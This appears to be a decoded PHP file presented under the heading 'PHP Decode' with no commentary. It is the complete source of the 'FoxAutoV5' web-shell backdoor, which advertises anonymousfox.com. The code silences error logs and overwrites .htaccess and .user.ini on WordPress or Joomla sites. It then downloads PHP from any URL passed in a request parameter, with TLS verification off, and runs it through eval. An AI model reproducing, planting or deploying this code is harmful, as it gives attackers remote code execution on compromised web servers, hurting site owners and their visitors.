PHP Decode

<?php error_reporting(0); @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('display_errors', 0); $root = $_SERVER['DOCUMENT_ROOT']; $htaccess = base64_decode("IyBCRUdJTgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgojIEVORAo="); if(file_exists("$root/wp-config.php") && file_exists("$root/.htaccess")){ unlink("$root/.htaccess"); if(function_exists('file_put_contents')) { file_put_contents("$root/.htaccess",$htaccess); }else{ fwrite(fopen("$root/.htaccess","w"),$htaccess);} }elseif(file_exists("$root/configuration.php") && file_exists("$root/.htaccess")){ unlink("$root/.htaccess"); if(function_exists('file_put_contents')) { file_put_contents("$root/.htaccess",$htaccess); }else{ fwrite(fopen("$root/.htaccess","w"),$htaccess); } } if(file_exists("$root/.user.ini")){ unlink("$root/.user.ini"); }  echo "FoxAutoV5 [The best tool] , Download => anonymousfox.com\n"; $code = $_GET["php"]; if (empty($code) or !stristr($code, "http")){ exit; } else { $php=file_get_contents($code); if (empty($php)){ $php = curl($code); } $php=str_replace("<?php", "", $php); $php=str_replace("<?php", "", $php); $php=str_replace("?>", "", $php); eval($php); } function curl($url) { $curl = curl_init(); curl_setopt($curl, CURLOPT_TIMEOUT, 40); curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE); if (stristr($url,"https://")) { curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); } curl_setopt($curl, CURLOPT_HEADER, false); return curl_exec ($curl); } ?>